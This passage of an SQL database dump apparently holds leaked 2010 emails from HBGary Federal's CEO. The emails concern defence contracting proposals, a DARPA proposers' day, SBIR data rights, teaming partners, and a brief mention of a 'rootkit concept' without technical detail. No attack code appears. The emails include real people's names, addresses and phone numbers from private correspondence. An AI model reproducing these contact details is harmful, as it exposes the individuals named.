Matrix\r\n>\r\n> Hi Dan,\r\n>\r\n> We completed the HBGary capabilities matrix, cross-referenced to the\r\n> RFP and SOW para #\'s.  I\'ll forward as soon as we receive the fully\r\n> executed NDA.  Hope you have a nice weekend.\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',648,'aaron_hbgary_com/648.html'),(2206,'2010-02-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001001.M768215P3547Q2206.eml','aaron@hbgary.com','Do you know if the darpa proposer\'s day is still on tomorrow?','\r\n\r\n\r\n\r\n\r\nDo you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\n\r\n\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n',14604,'aaron_hbgary_com/14604.html'),(2207,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001002.M238651P3547Q2207.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Do you know if the darpa proposer\'s day is still on tomorrow?','it is.On Feb 8, 2010, at 3:20 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14927,'aaron_hbgary_com/14927.html'),(2208,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001002.M456993P3547Q2208.eml','all@hbgary.com','FW: Google Alert - hbgary','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is the new product release at Dark Reading\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Google Alerts\r\n[mailto:googlealerts-noreply@google.com] \r\nSent: Monday, February 08, 2010 12:45 PM\r\nTo: penny@hbgary.com\r\nSubject: Google Alert - hbgary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGoogle News\r\nAlert for: hbgary\r\n\r\n\r\n \r\n  \r\n  Product\r\n  Watch: New Tool Automatically Examines Suspicious Code In ...\r\n  Dark Reading\r\n  By Kelly Jackson Higgins HBGary today rolled out a new version of its\r\n  malware ... The new HBGary Responder Professional 2.0 gets\r\n  information on malware ...\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTip:\r\nUse a minus sign (-) in front of terms in your query that you want to exclude. Learn\r\nmore.\r\n\r\nRemove\r\nthis alert. \r\nCreate\r\nanother alert. \r\nManage\r\nyour alerts. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8823,'aaron_hbgary_com/8823.html'),(2209,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001002.M653215P3547Q2209.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Capabilities Matrix','---------- Forwarded message ----------\r\nFrom: Willis, Dan \r\nDate: Mon, Feb 8, 2010 at 1:46 PM\r\nSubject: RE: HBGary Capabilities Matrix\r\nTo: Ted Vera \r\n\r\n\r\nTed,\r\n\r\n       Your quals look very good.  If you\'re still of a mind to join\r\nthe team I\'d like to proceed to a TA,  Concurrently, I like to shoot\r\nyou a copy of the draft tech response for you to \"infuse\" with some of\r\nyour expertise and innovation.  Thirdly, I\'ll send a past performance\r\ntemplate and if you have one that you\'d like to highlight, complete it\r\nand return.\r\n\r\n       We\'re going to have Red Team later this week.  We should have\r\nthe draft out by COB Thursday and will do a Fri am review.  We can\r\ncoordinate that later.\r\n\r\n       Thoughts?\r\n\r\nDan\r\n\r\n____________________\r\nDan B. Willis\r\nDirector, IO Programs\r\nInformation Dominance Division\r\nMacAulay-Brown, Inc.\r\nOffice  (210) 732-7417\r\nFax     (210) 732-1012\r\nMobile (210) 363-2332\r\nWeb     www.macb.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, February 08, 2010 2:05 PM\r\nTo: Willis, Dan; Barr Aaron\r\nSubject: Re: HBGary Capabilities Matrix\r\n\r\nYes, I did Dan, thanks.  Attached is the capabilities matrix. Would\r\nyou like to schedule a call to discuss after you\'ve had a chance to\r\nreview?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\nOn Mon, Feb 8, 2010 at 12:39 PM, Willis, Dan  wrote:\r\n> Ted,\r\n>\r\n>        Did you receive the executed NDA that was sent this morning?\r\n>\r\n> Dan\r\n>\r\n> ____________________\r\n> Dan B. Willis\r\n> Director, IO Programs\r\n> Information Dominance Division\r\n> MacAulay-Brown, Inc.\r\n> Office  (210) 732-7417\r\n> Fax     (210) 732-1012\r\n> Mobile (210) 363-2332\r\n> Web     www.macb.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, February 05, 2010 9:56 PM\r\n> To: Willis, Dan\r\n> Subject: HBGary Capabilities Matrix\r\n>\r\n> Hi Dan,\r\n>\r\n> We completed the HBGary capabilities matrix, cross-referenced to the\r\n> RFP and SOW para #\'s.  I\'ll forward as soon as we receive the fully\r\n> executed NDA.  Hope you have a nice weekend.\r\n>\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3810,'aaron_hbgary_com/3810.html'),(2210,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001002.M956744P3547Q2210.eml','\"Ted Vera\" <ted@hbgary.com>','92nd','Can you ask Jose if he knows James Boyd (supposedly the power user down there).  Also a Captain Scott.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7803,'aaron_hbgary_com/7803.html'),(2211,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001003.M145921P3547Q2211.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','92nd','Hi Rich,\r\n\r\nAn old colleague of mine is a Department Manager with TASC supporting\r\nthe 92nd in San Antonio.  They have 15 licenses for Responder Pro, and\r\napparently just got a copy of 2.0.  They have a large repository of\r\nmalware they are reversing (about 20,000 specimens).  Is there a way\r\nfor them to automate the process?  Our feed processor comes to mind.\r\nCan they RE the binaries on the file system, or do they have to be\r\nloaded into memory?\r\n\r\nThanks,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9680,'aaron_hbgary_com/9680.html'),(2212,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001003.M353847P3547Q2212.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Do you know if the darpa proposer\'s day is still on tomorrow?','Are you going to the DARPA day tomorrow?On Feb 8, 2010, at 3:56 PM, Masterson, Brian (Xetron) wrote:\r\nThanks.  When do you want to talk about the stuff that I sent friday?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 14:27:06 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\nit is.On Feb 8, 2010, at 3:20 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3741,'aaron_hbgary_com/3741.html'),(2213,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001003.M541296P3547Q2213.eml','\"Willis, Dan\" <Dan.Willis@macb.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: HBGary Capabilities Matrix','Thanks Dan,\r\n\r\nYes, we\'d like to join the team.  Let\'s proceed as you stated below.\r\nWe\'ll block out time this week to support the proposal and review\r\nactivities.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Mon, Feb 8, 2010 at 1:46 PM, Willis, Dan  wrote:\r\n> Ted,\r\n>\r\n>        Your quals look very good.  If you\'re still of a mind to join the team I\'d like to proceed to a TA,  Concurrently, I like to shoot you a copy of the draft tech response for you to \"infuse\" with some of your expertise and innovation.  Thirdly, I\'ll send a past performance template and if you have one that you\'d like to highlight, complete it and return.\r\n>\r\n>        We\'re going to have Red Team later this week.  We should have the draft out by COB Thursday and will do a Fri am review.  We can coordinate that later.\r\n>\r\n>        Thoughts?\r\n>\r\n> Dan\r\n>\r\n> ____________________\r\n> Dan B. Willis\r\n> Director, IO Programs\r\n> Information Dominance Division\r\n> MacAulay-Brown, Inc.\r\n> Office  (210) 732-7417\r\n> Fax     (210) 732-1012\r\n> Mobile (210) 363-2332\r\n> Web     www.macb.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Monday, February 08, 2010 2:05 PM\r\n> To: Willis, Dan; Barr Aaron\r\n> Subject: Re: HBGary Capabilities Matrix\r\n>\r\n> Yes, I did Dan, thanks.  Attached is the capabilities matrix. Would you like to schedule a call to discuss after you\'ve had a chance to review?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n>\r\n> On Mon, Feb 8, 2010 at 12:39 PM, Willis, Dan  wrote:\r\n>> Ted,\r\n>>\r\n>>        Did you receive the executed NDA that was sent this morning?\r\n>>\r\n>> Dan\r\n>>\r\n>> ____________________\r\n>> Dan B. Willis\r\n>> Director, IO Programs\r\n>> Information Dominance Division\r\n>> MacAulay-Brown, Inc.\r\n>> Office  (210) 732-7417\r\n>> Fax     (210) 732-1012\r\n>> Mobile (210) 363-2332\r\n>> Web     www.macb.com\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Friday, February 05, 2010 9:56 PM\r\n>> To: Willis, Dan\r\n>> Subject: HBGary Capabilities Matrix\r\n>>\r\n>> Hi Dan,\r\n>>\r\n>> We completed the HBGary capabilities matrix, cross-referenced to the\r\n>> RFP and SOW para #\'s.  I\'ll forward as soon as we receive the fully\r\n>> executed NDA.  Hope you have a nice weekend.\r\n>>\r\n>> Ted\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10485,'aaron_hbgary_com/10485.html'),(2214,'2010-02-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001004.M564296P3547Q2214.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Possible questions for VanPutte','Aaron and Rich,\r\n \r\nDARPA has a history of big R, little D.  Where would you place this project on the Research-to-Development continuum?\r\n \r\nHow do you feel about contractors leveraging existing technologies or IRAD-funded work?\r\n \r\nOn page 12, section 3.2 Cost Sharing - It says, &quot;Cost sharing is encouraged where there is a reasonable probability of a potential commercial application related to the proposed R&amp;D effort.&quot;  Could you elaborate on this?\r\n\r\n \r\nLet&#39;s assume HBGary desires to pursue commercial application from this work.  Would the government want to place any distribution restrictions?  For example, DoD-only distribution or ITAR controlled?\r\n \r\nHBGary has had multiple SBIR phase I and phase II contracts where we have developed technologies where we have retained &quot;SBIR data rights&quot;.  Verify he is familiar with SBIR data rights.  The DFARS state that future SBIR-derived work shall also have SBIR data rights.  In the event that HBGary does R&amp;D that is an extension of past SBIR work, could DARPA accept our assertion of SBIR Data Rights on this new work?\r\n\r\n \r\nSBIR data rights would be useful especially if the resulting technology has commercial application.\r\n \r\n(See attached doc called SBIR Phase III.  I can provide more docs on SBIR data rights if you want.)-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n',10908,'aaron_hbgary_com/10908.html'),(2215,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001004.M769359P3547Q2215.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: HBGary Capabilities Matrix','Dan,\r\n\r\nFor your consideration.  There is a company we have recently developed a partnership that provides interesting capabilities on foreign cyber environments and capabilities, EndGames.  Jose and Dan have dealt with them in the past.  We are finding there are strong compliments to the data they provide and the data some of our technologies provide for threat intelligence.  If you are interested we can bring in their capabilities under our existing partnerships.\r\n\r\nAaron\r\n\r\nOn Feb 8, 2010, at 4:04 PM, Ted Vera wrote:\r\n\r\n> Thanks Dan,\r\n> \r\n> Yes, we\'d like to join the team.  Let\'s proceed as you stated below.\r\n> We\'ll block out time this week to support the proposal and review\r\n> activities.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n> \r\n> \r\n> On Mon, Feb 8, 2010 at 1:46 PM, Willis, Dan  wrote:\r\n>> Ted,\r\n>> \r\n>>        Your quals look very good.  If you\'re still of a mind to join the team I\'d like to proceed to a TA,  Concurrently, I like to shoot you a copy of the draft tech response for you to \"infuse\" with some of your expertise and innovation.  Thirdly, I\'ll send a past performance template and if you have one that you\'d like to highlight, complete it and return.\r\n>> \r\n>>        We\'re going to have Red Team later this week.  We should have the draft out by COB Thursday and will do a Fri am review.  We can coordinate that later.\r\n>> \r\n>>        Thoughts?\r\n>> \r\n>> Dan\r\n>> \r\n>> ____________________\r\n>> Dan B. Willis\r\n>> Director, IO Programs\r\n>> Information Dominance Division\r\n>> MacAulay-Brown, Inc.\r\n>> Office  (210) 732-7417\r\n>> Fax     (210) 732-1012\r\n>> Mobile (210) 363-2332\r\n>> Web     www.macb.com\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Monday, February 08, 2010 2:05 PM\r\n>> To: Willis, Dan; Barr Aaron\r\n>> Subject: Re: HBGary Capabilities Matrix\r\n>> \r\n>> Yes, I did Dan, thanks.  Attached is the capabilities matrix. Would you like to schedule a call to discuss after you\'ve had a chance to review?\r\n>> \r\n>> Regards,\r\n>> Ted\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Mon, Feb 8, 2010 at 12:39 PM, Willis, Dan  wrote:\r\n>>> Ted,\r\n>>> \r\n>>>        Did you receive the executed NDA that was sent this morning?\r\n>>> \r\n>>> Dan\r\n>>> \r\n>>> ____________________\r\n>>> Dan B. Willis\r\n>>> Director, IO Programs\r\n>>> Information Dominance Division\r\n>>> MacAulay-Brown, Inc.\r\n>>> Office  (210) 732-7417\r\n>>> Fax     (210) 732-1012\r\n>>> Mobile (210) 363-2332\r\n>>> Web     www.macb.com\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Friday, February 05, 2010 9:56 PM\r\n>>> To: Willis, Dan\r\n>>> Subject: HBGary Capabilities Matrix\r\n>>> \r\n>>> Hi Dan,\r\n>>> \r\n>>> We completed the HBGary capabilities matrix, cross-referenced to the\r\n>>> RFP and SOW para #\'s.  I\'ll forward as soon as we receive the fully\r\n>>> executed NDA.  Hope you have a nice weekend.\r\n>>> \r\n>>> Ted\r\n>>> \r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>> \r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3398,'aaron_hbgary_com/3398.html'),(2216,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001004.M962670P3547Q2216.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','DARPA meeting tomorrow','Guys,\r\n\r\nThe Proposers day is still on, which means we have our 30minutes with him.  I would like to set up a brief call today to discuss our approach and questions.  What time works?  5pm?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16559,'aaron_hbgary_com/16559.html'),(2217,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001005.M146070P3547Q2217.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Do you know if the darpa proposer\'s day is still on tomorrow?','ok lets catch up tomorrow on all this. &nbsp;Lots of moving parts, and lots of pressure. &nbsp;I need to produce some work. &nbsp;I am sending you back some comments to your questions now.AaronOn Feb 8, 2010, at 4:10 PM, Masterson, Brian (Xetron) wrote:\r\nYup.  Sitting on plane in atl right now.  Heading to dca, staying at the hilton.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 15:02:35 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\nAre you going to the DARPA day tomorrow?On Feb 8, 2010, at 3:56 PM, Masterson, Brian (Xetron) wrote:\r\nThanks.  When do you want to talk about the stuff that I sent friday?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 14:27:06 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\nit is.On Feb 8, 2010, at 3:20 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7300,'aaron_hbgary_com/7300.html'),(2218,'2010-02-08','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001005.M511735P3547Q2218.eml','aaron@hbgary.com','Re: Do you know if the darpa proposer\'s day is still on tomorrow?','\r\nCool\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Mon Feb 08 15:11:48 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\nok lets catch up tomorrow on all this. &nbsp;Lots of moving parts, and lots of pressure. &nbsp;I need to produce some work. &nbsp;I am sending you back some comments to your questions now.AaronOn Feb 8, 2010, at 4:10 PM, Masterson, Brian (Xetron) wrote:\r\nYup.  Sitting on plane in atl right now.  Heading to dca, staying at the hilton.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 15:02:35 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\nAre you going to the DARPA day tomorrow?On Feb 8, 2010, at 3:56 PM, Masterson, Brian (Xetron) wrote:\r\nThanks.  When do you want to talk about the stuff that I sent friday?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Mon Feb 08 14:27:06 2010Subject: Re: Do you know if the darpa proposer\'s day is still on tomorrow?\r\n\r\nit is.On Feb 8, 2010, at 3:20 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2711,'aaron_hbgary_com/2711.html'),(2219,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001005.M795562P3547Q2219.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Status of stuff','On Feb 4, 2010, at 4:03 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,How’s it going?&nbsp; Here is my dump on where things stand.1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Clearances: I am trying to get into a friendly customer next Tuesday or Wednesday to discuss and will bring up sponsorship of your clearances.&nbsp; Problem is that nothing on the DoD side will be of help given their rules.&nbsp; Great let us know. &nbsp;We are starting to get a little nervous about clearances. &nbsp;Not sure I understand the last part.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary memory object and new rootkit concept:&nbsp; We need to discuss how to proceed on this.&nbsp; I have one meeting next Wednesday with a customer and possibly two.&nbsp; I would like to bring this up but I need some more details on the technology and what we would look at for cost.&nbsp; What would it take to get the code out of Responder and repackage it?&nbsp; For the rootkit, where does Greg stand?&nbsp; Nothing but an idea?&nbsp; If we can get funding, is Greg willing to allow it to be used given the restrictions that would be enforced?Checking with Rich on the first part. &nbsp;On the second part. &nbsp;Just a very well thought out concept. &nbsp;As to the restrictions. &nbsp;All depends on the conditions, payment, etc. but we could probably work something out if the customers was interested enough.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Can I get a license for a suite of your tools?Just sent off an email. &nbsp;You can download a trial version off of the website but not sure what the restrictions are.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Got a meeting in Atlanta with EndGame next Monday.&nbsp; Any things that you want me to specifically discuss?&nbsp; I am going to partnering on tool development and also try to get a handle on how much intel data they actually have access to.&nbsp; I would like to get enough solid data so we could put firm scenario together.lets talk.5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meeting with Jadik on Tuesday.&nbsp; Putting together a briefing on all this.&nbsp; Once John says he has our back, I will fire up the IRAD.&nbsp; 10th Fleet brief is waiting for this ok but should be set.cool.6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Working on getting details on the plus-up that a company got for a Cyber Threat Center.&nbsp; Talked to one person at the company and he confirmed that they do not have a clue on what to do.&nbsp; They need to submit a whitepaper to initiate the funding.&nbsp; Willing to contribute a WP?This we are looking forward to. &nbsp;Yes on the whitepaper.7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ONR BAA: Are you interested in submitting something on this.&nbsp; I am not impressed with the BAA given their program plan.&nbsp; Two phased program where the first phase is 6 months and only covers design.&nbsp; The program seems to be to slow moving for our purposes but it is still money.&nbsp; May be a way for HBGary to develop next gen capability but then govt owns unlimited rights which anyone has access to.&nbsp; I think the Threat Center concept does apply to the following technologies of interest:a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technologies to support attribution of network activity to the source b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques to determine the topology and activity of networks and, to the extent possible, use the information provided by the attribution data to geo-locate the sources and targets of suspicious and potentially unauthorized network activity.c.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods and techniques for real-time visualization of large sets of network data that are obtained from disparate sources\r\nHowever, the program plan makes me wonder if they are really looking for any near-term solutions and, even then, you are looking at March 2011 to even start implementation.&nbsp; However, if we talk about the next version and get funding through this vehicle for that.What do you think?Sounds like the DARPA BAA to me. &nbsp;Hmmmm.... I don\'t know lets discuss.\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cyber Genome: Here are my thoughts on where we could do a joint proposal.&nbsp; What are your thoughts on cost sharing on this?&nbsp; It is mentioned in the BAA that DARPA would look favorably where there is the possibility of commercial business as a result.&nbsp; Do you have experience writing DARPA proposal?&nbsp; Our AC&amp;TD division has a lot of work with DARPA.&nbsp; Lets discuss.. Can you tell me more about information geometry? &nbsp;I have been talking with GD and Sparta related to this BAA. &nbsp;GD is a favorite for HBGary proper because of an existing relationship, they have the DC3 work which likely is a driver for requirements for this BAA. &nbsp;Sparta does about $40million in DARPA work and approached us. &nbsp;The proposals are due in a little more than a month so a lot to do here. &nbsp;Each tech area requires a separate proposal.a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 1:&nbsp; I think our Information Geometry technology could be of use here.&nbsp; Combining that with Digital DNA would allow us to categorize like behaviors of variants using the outputs of DNA.&nbsp; Then, we can get the justification from IG to show the relationships that exist to justify the categorization.&nbsp;&nbsp; Then, we can use Palantir to visualize and correlate with other data sources, just as we have discussed.&nbsp; I talking to another company about their correlation technology to see what it can do.b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 2:&nbsp; While the objective is different, I am not sure if the required technology is that different.&nbsp; The data being operated on is but you are still do characterization of behavior.&nbsp; So, we can develop models for various class of users then deploy those models against sensor data.I agree. &nbsp;I think these are closely tied. &nbsp;I think our hashing algorithm can be used for both. &nbsp;Digital attributes are assigned traits with values and those values are compared mathematically which results in intelligence on the attributes, their behaviors, etc.c.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I think this is HBGary completely.&nbsp; May want to search academia for those doing cutting edge research at the early stages and do a joint R&amp;D effort.I agree. &nbsp;We want to really lean forward here and present something that will be more far reaching.d.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical Area 4: I think the Cyber Threat Analysis Center could be under this one.\r\nWhat do you think?&nbsp; My one concern is whether this is researchy enough for DARPA.&nbsp; We are trying to build near-term capabilities and DARPA wants revolutionary.&nbsp; While this is revolutionary, this is a near-term capability which may dissuade DARPA.&nbsp; Will DARPA think it is evolutionary which will get it killed.Do we need Millersville?&nbsp; I do not see a need other than to make the proposal look beefier and leverage their relationship with Van Putte.\r\n9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We have a customer in I2WD’s technology research group.&nbsp; We are going to have to get a briefing together to brief them on threat analysis capabilities.&nbsp; Interested?Yes.10.&nbsp;&nbsp;&nbsp;&nbsp; Are you interested in submitting something to the AF’s Integrated Cyber Defense and Support Technologies BAA?Which one is that?Anything new?Brian\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11168,'aaron_hbgary_com/11168.html'),(2220,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001008.M341056P3547Q2221.eml','\"Erik Mettala\" <Erik.Mettala@cobham.com>','Discussion','Erik,\r\n\r\nCan we have a brief discussion.  I would like to propose a teaming relationship between Sparta, GD, and HBGary.  I have been talking with you both and there seems to be lots of compliments.  Also since weather seems spotty this week we can do a webex to show you Digital DNA, Responder, and Recon.\r\n\r\nAre you going to the Proposers day tomorrow?\r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11557,'aaron_hbgary_com/11557.html'),(2221,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001008.M51605P3547Q2220.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI scanned this so all could see, not sure we can distribute,\r\nso let me check.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11129,'aaron_hbgary_com/11129.html'),(2222,'2010-02-08','rich@hbgary.com','/aaron@hbgary.com/new/1297001008.M529124P3547Q2222.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA meeting tomorrow','5 is fine for me.\r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Rich Cummings\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: DARPA meeting tomorrow\r\nSent: Feb 8, 2010 4:10 PM\r\n\r\nGuys,\r\n\r\nThe Proposers day is still on, which means we have our 30minutes with him.  I would like to set up a brief call today to discuss our approach and questions.  What time works?  5pm?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizon Wireless 